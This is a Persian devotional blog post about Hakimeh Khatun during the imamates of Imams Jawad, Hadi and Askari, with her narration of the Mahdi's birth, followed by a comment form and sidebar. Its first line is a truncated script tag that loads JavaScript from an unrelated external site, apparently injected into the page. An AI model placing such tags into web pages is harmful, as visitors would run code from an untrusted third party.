script type=’text/javascript’ src=’http://taklearn.ir/wp-includes/js/l10n.js?ver=20101110′> دوران امامت امام جواد علیه السلام
منجی عشق
این وبلاگ قصد دارد شما را با موضوع مهدویت بیشتر آشنا کند

زندگاني حکيمه خاتون - دوران امامت امام جواد علیه السلام

دوران امامت امام جواد عليه السلام
امامان بزرگوار در عصر خود فعاليت‌هاي گوناگوني به تناسب زمان خود داشته ودر مکتب خود شاگرداني در جهات مختلف تربيت مي‌کردند.آنان علوم و دانش اجتماعي وسياسي خود را با توجه به فشارهاي گونا گون حکومتي به صورت‌هاي مختلف در جامعه منتشر مي‌کردند. در زمان امام باقر و امام صادق عليهما السلام، از آن‌جا که شرايط اجتماعي و سياسي تا حدودي مساعد بود توانستند چندين هزار شاگرد تربيت کنند، ولي از دورة امام جواد تا امام عسكري عليهم السلام به دليل فشار‌هاي سياسي وکنترل شديد حکومت، شعا ع فعاليت آنان بسيار محدود بود.از اين رو تعداد راويان و پرورش يافتگان مکتب آنان نسبت به زمان حضرت صادق عليه السلام کاهش چشمگيري را نشان مي‌دهد. بنابراين اگر مي‌خوانيم که جمع احاديثي که از ايشان (امام جواد عليه السلام) نقل شده، ٢۵٠حديث بوده نبايد تعجب کنيم. با نگاهي به سير حوادثي که بين اما م جواد عليه السلام از يک سو و هيئت حاکمه ودررٲس آن، خليفه عباسي، مأمون وپس از او در مدتي کوتاه، برادرش معتصم، از سوي ديگر جريان يا فته است، به ميزان اصرار وحرص شديد حکومت در زدن ريشة «امامت»پي مي‌بريم ؛ گاهي از راه تهي جلوه دادن آن از محتواي علمي ـ که مهم‌ترين عنصر وبزرگ‌ترين پايه واساس امامت بود ـ وگاه از راه مخدوش جلوه دادن عصمت اﺋمه عليهم السلام، با تلاش در جهت بد آوازه کردن آنان و از بين بردن کرامت وقداست آنان نزد مردم، براي رسيدن به اين هدف خود وارد مي‌شدند.
با ملاحظة متون تاريخي به نظر مي‌رسد که اين تلاش‌ها واقدامات، گوناگون و مداوم بوده است وشايد آن‌چه که تمام حقيقت را نشان بدهد به دست ما نرسيده است و شواهدي که در دسترس ماست، فقط نشان دهنده گوشه‌اي کوچک وجزئي ناچيز از واقعيت‌هايي است که گذشته است.[23]
در چنين فضاي تاريکي، معلوم است که امام، چقدر بايد زيرکانه و بدون سرو صدا شاگردان وفرزندانش را تربيت کند وچگونه با پنهان کاري، آنها را آموزش دهد و چهرة کريه ستم‌کاران رابراي آنا ن آشکارکند که حتي همسرش که جاسوسة دشمن است متوجه آن نشود وازطرفي معلوم مي‌شود که حضرت حکيمه تا چه حد خوددار و ستار است که ازآموخته‌هاي پدر چيزي را بروز ندهد تا بر خلاف مصا لح امامت و ولايت باشد. بنابراين مي‌بينيم دراين دوران، گزارشي از حکيمه خاتون ونحوه زندگاني وآموزش وفعاليت‌هاي فردي، اجتماعي ايشان نقل نشده است. گرچه بعدها خود ايشان (حكيمه خاتون) راوي جرياني از زندگاني پدر بزرگوار خويش است كه بيان‌گر يكي از سخت‌ترين و مصيبت‌بارترين لحظات زندگي امام جواد عليه السلام در دوران مأمون عباسي است.
دوران امامت امام هادي عليه السلام
امام هادي عليه السلام در نيمه ذيحجه سال 212هجري قمري در ناحيه صريا در اطراف مدينه به دنيا آمد و در سال 220 پس از شهادت پدر گرامي‌اش در هشت سالگي به امامت رسيد و تا سال 254 هجري به مدت 33 سال به اين امر خطير پرداخت.[24] دوران امامت ايشان، معاصر با شش خليفه عباسي بود.[25]
اوضاع سياسي اجتماعي در عصر امام هادي عليه السلام ويژگي‌هايي دارد كه به بعضي از مهم‌ترين آنها اشاره مي‌كنيم:
ـ گسترش ظلم؛
ـ بيدادگري و خودكامگي و غارت بيت‌المال و صرف آن در خوش گذراني‌ها از جمله ظلم‌هايي بود كه جان مردم را به لب رسانده بود و هر اعتراضي به شدت سركوب مي‌شد؛
ـ افزايش خوش‌گذراني و هوسراني درباريان؛
ـ نابودي هيبت و عظمت خلافت.
حكومت و خلافت در دوره اموي و (تا اين زمان) عباسي هيبت و جلالي داشت؛ اما از دوره معتصم به بعد كه وي غلامان ترك را وارد دستگاه خلافت كرد، به سرعت بر اثر تسلط تركان و قدرت آنان، جلال و هيبت حكومت از بين رفته و خليفه در عمل، يك مقام تشريفاتي بيش نبود؛ البته در عين حال، هرگاه خطري از جانب مخالفان احساس مي‌شد، خلفا، اطرافيان و عموم كارمندان دستگاه خلافت در سركوبي آن نظر واحدي داشتند.
در اين دوره، نهضت‌هاي زيادي صورت گرفت؛ از جمله در فاصله سال 219 تا 270 قمري تعداد هيجده قيام ضبط شده است. البته اين قيام‌ها از جانب دستگاه خلافت به شدت و بي رحمانه سركوب مي‌شد. بسياري از اين انقلاب‌ها مورد تأييد امامان قرار نمي‌گرفت؛ زيرا يا صد در صد اسلامي نبود و در اهداف آنها و رهبران شان انحراف‌هايي مشاهده مي‌شد و يا طراحي و برنامه ريزي آنها طوري بود كه شكست آنها به سادگي پيش بيني پذير بود كه اگر آشكارا آنها را تأييد مي‌كرد اساس تشيع و امامت و هسته اصلي نيروهاي شيعه در معرض خطر قرار مي‌گرفت.
تا قبل از آن كه متوكل بر سر كار آيد، سياست مأمون تا حدودي دنبال مي‌شد؛ اين سياست، حمايت از معتزله بود؛ حمايتي كه به خودي خود، فضا را براي شيعه و نيز علويان هموار مي‌كرد. با آمدن متوكل، مجدداً سخت گيري آغاز شد و با حمايت از اهل حديث و (برانگيختن آنها) عليه معتزله و شيعه، سركوبي اين دو گروه به شدت دنبال گرديد.[26]
متوكل، آن چنان نسبت به حضرت امام هادي عليه السلام و خاندانش، كينه و عداوت داشت كه اگر آگاه مي‌شد كسي به آن حضرت علاقه‌مند است، اموال او را مصادره و خود او را به هلاكت مي‌رساند؛ از اين رو حضرت، فعاليت‌هاي خود را به صورت سري انجام مي‌داد و در مناسبات خود با شيعيان، نهايت پنهان كاري را رعايت مي‌كرد. اين شرايط بحراني باعث شد تا حضرت از طريق شبكه ارتباطي وكالت و تعيين نمايندگان و كارگزاران در مناطق مختلف با آنها ارتباط برقرار كند تا بدين وسيله هم نيازهاي ديني آنها را پاسخ گويد و هم با جمع آوري خمس، زكات، نذورات و هدايا، مصالح بندگان را در مناطق مختلف در نظر گرفته و مقاصد دين را در حد امكان بر پاي دارد.
متوكل براي جلوگيري از نفوذ امام عليه السلام در مدينه، حضرت را با خانواده به سامرا دعوت كرد تا به طور مستقيم و پيوسته تحت نظر باشد. با اين همه مراقبت‌ها باز هم وجود امام را براي حكومت خود خطري جدي مي‌دانست و مي‌ترسيد ياران و پيروان امام، مخفيانه با او تماس گيرند و براي قيام و شورش، نقشه‌اي طرح كنند و براي زمينه سازي، جهت اين كارها پول و سلاح جمع آوري كرده، افرادي را آموزش دهند؛ لذا هر چند يك بار دستور مي‌داد خانه امام را به دقت مورد بازرسي و تفتيش قرار دهند، گرچه مأموران هر بار دست خالي برمي گشتند؛ اما وي پيوسته نگران بود و احساس خطر مي‌كرد. اشعار بزم شراب متوكل و اشعار آتشين بيدارساز امام يكي از اين نمونه‌ها است.[27]
در نهايت، متوكل تصميم گرفت امام را به شهادت برساند، ولي خدا به او مهلت نداد و در بستر خود مورد حمله تركان قرار گرفت و كشته شد؛ آن‌گاه امام از دست وي رهايي يافت. شايان ذكر است كه امام، هلاكت وي را پيش گويي كرده بود.[28]
امام هادي عليه السلام پس از عمري محدوديت بدون سازش با ستم گران، سرانجام به دستور معتز، مسموم گرديد و در سال 254 هجري به شهادت رسيد و در سامرا در خانه خود به خاك سپرده شد.[29]
حكيمه خاتون در چنين شرايط و جو اختناقي به گونه‌اي تربيت شدند كه بعدها بتوانند حافظ بزرگ‌ترين اسرار الهي باشند. درباره حكيمه خاتون در اين زمان نيز جز مواردي اندك در تاريخ ثبت نشده است.
دو روايت در دوران امام هادي عليه السلام درباره ايشان ضبط شده است كه گوياي مطالب بلندي درباره اين شخصيت در زمان اين امام همام است. هر دوي اين روايات مربوط به مقدمات ازدواج امام حسن عسكري عليه السلام با حضرت نرجس خاتون است.
يكي از مهم‌ترين مطالبي كه از اين روايات فهميده مي‌شود، اين است كه امام هادي عليه السلام حضرت حكيمه را به منزل برده كه وي مادر حضرت قائم و همسر فرزندش ابي محمد حسن العسگري عليه السلام است. اين گونه خطاب، نشان گر عمق دانايي حضرت حكيمه است؛ چرا كه وي تنها فردي از خاندان امام هادي عليه السلام است كه شايستگي تعليم دادن، آن هم براي شخصيتي كه بتواند همسر امام و مادر عصاره خلقت شود و نشان‌گر تبحر و توانايي اين بانوي فرزانه در شناخت دين است و از آن جا كه خطاب به وي به طور مطلق ادا شده، يعني حضرت، دين واقعي را آن چنان كه نزد معصومان بوده مي‌شناخته و همان را بايد به نرجس خاتون تعليم دهد؛ تعاليمي كه برازنده همسري حضرت عسكري عليه السلام و در راستاي اهداف عاليه وي باشد و هم تعاليمي كه بتواند بزرگ‌ترين منجي عالم بشريت را به نحو احسن مادري كند؛ چه قبل از تولد، چه در هنگام تولد و چه پس از آن.
دوران امامت امام حسن عسكري و امام عصر عليهما السلام
دوران امامت امام حسن عسكري و امام عصر عليهم السلام، امامت و غيبت صغري امام عصر (مهدي)  عجل الله تعالي فرجه الشريف، امامت شش ساله سيزدهمين معصوم عليه السلام در عصر زمام داري معتز و مهتدي و معتمد عباسي سپري شد. در كارنامة اين سه خليفه كه مقامي تشريفاتي داشتند، نكته مثبتي به چشم نمي‌خورد و همة كارهاي مهم به وسيله تركان كه گردانندگان اصلي حكومت بودند، انجام مي‌شد.[30]
هر چند مهتدي در مقايسه با ديگر خلفاي عباسي، فردي معتدل بود؛ ولي بسياري از محققان، ملاحظات سياسي را انگيزة كردار وي دانسته‌اند. به زندان انداختن و تصميم بر قتل امام عليه السلام، گواه روشن اين مطلب است. امام عليه السلام تا شبي كه خليفه كشته شد، در زندان به سر برد. اين كه دو پيشواي بزرگ شيعه در سامرا و مركز حكومت عباسي تحت نظر سلطنت قرار مي‌گيرند و در جواني به شهادت مي‌رسند، بيان گر شدت اختناق و فشار آن دوران است. فشارها و محدوديت‌هاي امام عسكري عليه السلام به دو علت، بيشتر بوده است:
1. در اين زمان؛ شيعه قدرت عظيم عراق شده بود و همه مي‌دانستند كه اين گروه، حكومت هيچ يك از عباسيان را مشروع نمي‌دانند.[31]
2. براساس روايات و اخبار متواتر، خاندان عباسي مي‌دانستند مهدي موعود كه همة حكومت‌هاي خود كامه را از ميان مي‌برد فرزند امام حسن عسكري عليه السلام است، لذا پيوسته مراقب حضرت عليه السلام بودند و هر هفته ايشان را مجبور كرده بودند در روزهاي دوشنبه و پنج شنبه در دربار حاضر شوند.
در چنين شرايط دشواري، امام عسكري عليه السلام با ايجاد شبكه ارتباطي، از طريق نمايندگان و ارسال پيك‌ها و پيام‌ها با شيعيان مناطق مختلف ارتباط داشتند و از سوي ديگر با فعاليت‌هاي سياسي پنهان كه به دور از چشم جاسوسان انجام مي‌داد و افزون بر آن، ضمن تقويت و توجيه سياسي رجال و عناصر مهم شيعه، شيعيان را براي دوران غيبت و انتظار آماده مي‌ساخت.[32]
نقش حكيمه خاتون در اين دوران
گرچه از آن چه در پيشين آمد عظمت اين بانوي فرزانه نمايان است، ولي از مطالبي كه پس از اين مي‌آيد بيش از پيش اهميت نقش اين شخصيت بزرگ مشخص مي‌شود.
مجموع روايات حاكي از اين است كه در اين دوره:
1. حضرت حكيمه خاتون با خانه امام و امام عسكري عليه السلام و سپس امام عصر عليه السلام ارتباط پيوسته داشته است.
2. در اين رفت و آمدها قبل از ميلاد، از صميم قلب و از سر علاقه مندي مرتباً براي تولد امام دعا مي‌كرده است.
3. قبل از تولد مهدي عليه السلام و هنگام تولد ايشان حضور داشته و عهده دار پرستاري از مادر ايشان بوده است.
4. حافظ سر امامت و اسلام به ويژه، درباره وجود حضرت مهدي عجل الله تعالي فرجه الشريف و حفظ جان ايشان بودند؛ به ويژه آن كه حكومت عباسي تلاشي بي وقفه در كنترل خانه امام و جست و جوي شديدي براي يافتن فرزند حضرت عسكري عليه السلام، داشتند. براي مثال گاه بي خبر، منزل امام را بررسي مي‌كردند، گاه جاسوساني در لباس خدمتكار و پزشك مي‌فرستادند و پس از بيماري امام عسكري عليه السلام چندين پزشك و ده نفر از معتمدان را به خانه امام عسكري عليه السلام فرستادند و گفتند شبانه روز در آن جا بمانند و دستور دادند تا كنيزان را كنترل كنند تا ببينند كداميك باردار هستند و...[33].
رواياتي كه از حكيمه خاتون درباره تولد امام عصر عجل الله تعالي فرجه الشريف رسيده گوناگون است، ولي مضامين آنها به هم نزديك و برخي جهاتش نيز متحد است. در بعضي از روايات، چيزي نقل شده كه در پاره‌اي ديگر به اختصار آمده است يا به جهت بعضي جهات ديگر مانند بي نيازي شنونده يا عدم توانايي درك شنونده و يا بعضي مصالح ديگر نقل نشده است. به ويژه آن كه در بعضي از روايات، حكيمه خاتون خود تصريح دارد كه هر آن چه اتفاق مي‌افتد از پرسش‌گر و پرسش و نحوه پاسخ، همه را امام از پيش به من مي‌فرمايد.
درباره ميلاد امام زمان عجل الله تعالي فرجه الشريف از زبان حكيمه خاتون، روايتي كه مبسوط‌تر است را از كمال الدين صدوق انتخاب كرديم كه ذكر مي‌نماييم و سپس نكاتي از روايات ديگر در اين زمينه بيان مي‌كنيم.
راوي (محمد بن عبدالله) گويد: پس از درگذشت ابومحمد به نزد حكيمه دختر امام جواد عليه السلام رفتم تا در موضوع حجت و اختلاف مردم و حيرت آنها درباره او پرسش كنم، گفت: بنشين، و من نشستم، سپس گفت: ‌اي محمد! خداي تعالي، زمين را از حجتي ناطق و يا صامت خالي نمي‌گذارد و آن را پس از حسن و حسين عليهما السلام در دو برادر ننهاده است و اين شرافت را مخصوص حسن و حسين عليهم السلام ساخته، براي آنها عديل و نظيري در روي زمين قرار نداده است؛ جز اين‌كه خداي متعال فرزندان حسين را بر فرزندان حسن عليهما السلام برتري داده؛ هم چنان كه فرزندان هارون را بر فرزندان موسي به فضل نبوت برتري داد، گرچه موسي حجت بر هارون بود، ولي فضل نبوت تا روز قيامت در اولاد هارون است و به ناچار بايستي امت يك سرگرداني و امتحاني داشته باشند تا مبطلان از مخلصان جدا شوند و از براي مردم بر خدا حجتي نباشد و اكنون پس از وفات امام حسن عسكري عليه السلام دورة حيرت فرا رسيده است.
گفتم: ‌اي بانوي من! آيا از براي امام حسن عسكري عليه السلام فرزندي بود؟ تبسمي كرد و گفت: اگر امام حسن عليه السلام فرزندي نداشت پس امام بعد از وي كيست؟ با آن كه تو را گفتم كه امامت پس از حسن و حسين عليهم السلام در دو برادر نباشد.[34] اي بانوي من ولادت و غيبت مولايم را برايم باز گو،...[35]
حكيمه گويد: امام هادي عليه السلام درگذشت و ابومحمد بر جاي پدر نشست و من هم چنان كه به ديدار پدرش مي‌رفتم به ديدار او نيز مي‌رفتم. يك روز نرجس آمد تا كفش مرا بر گيرد و گفت: ‌اي بانوي من كفش خود را به من ده![36] گفتم: بلكه تو سرور و بانوي مني، به خدا سوگند كه كفش خود را به تو نمي‌دهم تا آن را برگيري و اجازه نمي‌دهم كه مرا خدمت كني، بلكه من به روي چشم تو را خدمت مي‌كنم.
ابومحمد عليه السلام اين سخن را شنيد و گفت: ‌اي عمّه! خدا به تو جزاي خير دهد. تا هنگام غروب آفتاب نزد امام نشستم، سپس به كنيزم گفتم كه لباسم را بياور تا بازگردم! امام فرمود: خير،‌اي عمه جان! امشب را نزد ما باش كه امشب آن مولودي كه نزد خداي تعالي، گرامي است و خداوند به واسطه او زمين را پس از مردنش زنده مي‌كند متولد مي‌شود. گفتم: ‌اي سرورم! از چه كسي متولد مي‌شود؟ و من در نرجس آثار بارداري نمي‌بينم. فرمود: از همان نرجس، نه از ديگري. حكيمه گويد: به نزد او رفتم، آثار بارداري در او نديدم، به نزد امام برگشتم و به وي گزارش دادم، تبسمي فرمود و گفت: در هنگام فجر، آثار بارداري برايت نمودار خواهد گرديد؛ زيرا مثل او مثل مادر موسي عليه السلام است كه آثار بارداري در او ظاهر نگرديد و كسي تا وقت ولادتش از آن آگاه نشد؛ زيرا فرعون در جست و جوي موسي، شكم زنان باردار را مي‌شكافت و اين نظير موسي عليه السلام است.
حكيمه گويد: به نزد نرجس بازگشتم و گفتار امام را بدو گفتم و از حالش پرسش كردم، گفت: ‌اي بانوي من چيزي نيست (حالم خوب است)، حكيمه گويد: تا طلوع فجر مراقب او بودم و او پيش روي من خوابيده بود و از اين پهلو به آن پهلو نمي‌رفت تا چون آخر شب و هنگام طلوع فجر رسيد، هراسان از جا جست[37] و او را در آغوش كشيدم و بدو «اسم الله» مي‌خواندم، ابومحمد بانگ برآورد و فرمود: «سوره انا انزلنا بر او بخوان!» و من بدان آغاز كردم و گفتم: حالت چون است؟ گفت: امري كه مولايم خبر داد در من نمايان شده است و من هم چنان كه فرموده بود بر او مي‌خواندم و جنين در شكم من پاسخ داد و مانند من قرائت كرد و بر من سلام نمود. حكيمه گويد: من از آن چه شنيدم، هراسان شدم و ابومحمد، بانگ برآورد: از امر خداي تعالي در شگفت مباش، خداي تعالي ما را در خردي به سخن درآورد و در بزرگي، حجت خود در زمين قرار دهد و هنوز سخن او تمام نشده بود كه نرجس از ديدگانم نهان شد و او را نديدم. گويا پرده‌اي بين من و او افتاده بود و فريادكنان به نزد ابومحمد عليه السلام دويدم، فرمود: ‌اي عمه! برگرد، او را در مكان خود خواهي يافت.
گويد: بازگشتم و طولي نكشيد كه پرده‌اي كه بين ما بود برداشته شد و ديدم نوري نرجس را فرا گرفته است كه توان ديدن آن را ندارم و آن كودك عليه السلام را ديدم كه روي به سجده نهاده است و دو زانو بر زمين نهاده است و دو انگشت سبابه خود را بلند كرده و مي‌گويد: اشهد ان لا اله الله [وحده لا شريك له] و ان جّدي محمداً رسول الله و ان ابي اميرالمؤمنين، سپس امامان را يكايك برشمرد تا به خودش رسيد، سپس فرمود: بار الها! آن چه به من وعده فرمودي به جاي آر و كار مرا به انجام رسان و گامم را استوار ساز و زمين را به واسطه من پر از عدل و داد گردان. ابومحمد عليه السلام بانگ برآورد! ‌اي عمه او را بياور و به من برسان، او را برگرفتم و به جانب پدر بردم، چون او در ميان دو دست من بود و مقابل او قرار گرفتم بر پدر خود سلام كرد و امام حسن عليه السلام او را از من گرفت و زبان خود در دهان او گذاشت و او از آن نوشيد (مكيد).
سپس فرمود: او را به نزد مادرش ببر تا بدو شير دهد، آن‌گاه نزد من بازگردان....[38] و در انتهاي روايت آمده است:
حكيمه گويد: پس از آن كه ابومحمد عليه السلام درگذشت و مردم چنان كه مي‌بيني پراكنده شدند و به خدا سوگند كه من هر صبح و شام او را مي‌بينم و مرا از آن چه مي‌پرسيد آگاه مي‌كند و من نيز شما را مطلع مي‌كنم و به خدا سوگند كه گاهي مي‌خواهم از او پرسش كنم و او نپرسيده پاسخ مي‌دهد و گاهي امري بر من وارد مي‌شود و همان ساعت، پرسش نكرده، از ناحيه او جواب صادر مي‌شود. شب گذشته من را از آمدن تو باخبر ساخت و فرمود: تو را از حق خبردار سازم و راوي (محمد بن عبدالله) گويد: به خدا سوگند حكيمه اموري را به من خبر داد كه جز خداي تعالي كسي بر آن مطلع نيست و دانستم كه آن صدق و عقل و از جانب خداي تعالي است؛ زيرا خداي تعالي او را به اموري آگاه كرده است كه هيچ يك از خلايق را بر آن آگاه نكرده است.[39]
در اين جا لازم است كه نكات مهمي كه در روايات ديگر از زبان حكيمه خاتون نقل شده كه در اين روايت نيامده است را نيز ذكر كنيم:
ـ (پيوسته) هرگاه حكيمه خاتون وقتي بر امام عسكري عليه السلام وارد مي‌شدند، براي آن جناب دعا مي‌كرد كه خداوند به ايشان فرزندي عطا كند و مي‌گويد: روزي داخل شدم بر آن جناب، پس دعا كردم براي او، آن چنان كه مي‌كردم، امام فرمود: «اي محمد آگاه باش، آن را كه دعا مي‌كردي كه خداوند به من روزي كند، امشب كه نيمه شعبان سال 255 است متولد مي‌شود، پس افطار خود را در نزد ما بكن و آن شب، جمعه بود.[40]
ـ حكيمه گويد: پس از نماز شب نرجس خاتون، هنگامي كه فجر نزديك شد، برخاستم تا به افق بنگرم، ديدم فجر اول طلوع كرده است، در دلم نسبت به وعده‌اي كه ابومحمد عليه السلام داده بود شك و ترديدي پيدا شد، حضرت، مرا از درون اطاق ندا دادند كه «ترديد نكن». من از آن حضرت و شكي كه در دلم افتاده بود شرمگين شدم و خجل بازگشتم. در اين هنگام نرجس، نمازش را تمام كرده بود و با ناراحتي و فزع از اطاق بيرون مي‌آمد. او را در برابر اطاق ديدم و به وي گفتم: آيا از آن چه به تو گفتم چيزي را حس مي‌كني؟ فرمود: آري عمه جان، امري بزرگ مي‌يابم.[41]


نظرات شما عزیزان:

نام :
آدرس ایمیل:
وب سایت/بلاگ :
متن پیام:
:) :( ;) :D
;)) :X :? :P
:* =(( :O };-
:B /:) =DD :S
-) :-(( :-| :-))
نظر خصوصی

 کد را وارد نمایید:

 

 

 

عکس شما

آپلود عکس دلخواه:





درباره وبلاگ

چه با شکوه است تصویر ایامی که تنها حاکم عالم، دادگستری چون قائم آل محمد(عج) باشد. و چه زیباست زندگی در ایامی که پرچمی جز پرچم توحید به اهتزاز نباشد و ندائی جز ندای حق به گوش جهانیان نرسد، دورانی سرشار از عطوفت، مهربانی، عدالت، آزادگی و کرامت انسانی.
موضوعات
پيوندها

تبادل لینک هوشمند
برای تبادل لینک  ابتدا ما را با عنوان منجی عشق و آدرس monjieeshgh.LoxBlog.ir لینک نمایید سپس مشخصات لینک خود را در زیر نوشته . در صورت وجود لینک ما در سایت شما لینکتان به طور خودکار در سایت ما قرار میگیرد.





نويسندگان


ورود اعضا:

نام :
وب :
پیام :
2+2=:
(Refresh)

خبرنامه وب سایت:





آمار وب سایت:  

بازدید امروز : 1
بازدید دیروز : 0
بازدید هفته : 156
بازدید ماه : 249
بازدید کل : 33018
تعداد مطالب : 50
تعداد نظرات : 14
تعداد آنلاین : 1